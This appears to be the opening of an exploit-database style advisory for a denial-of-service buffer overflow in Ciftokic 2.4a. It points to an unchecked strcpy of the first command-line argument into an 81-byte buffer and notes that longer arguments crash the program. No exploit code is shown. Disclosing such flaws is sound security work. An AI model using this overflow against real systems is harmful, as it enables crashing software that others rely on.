`# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow  
# Date: September 30, 2019  
# Exploit Author: @JosueEncinar

'''  
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.   
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);  
  
If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.
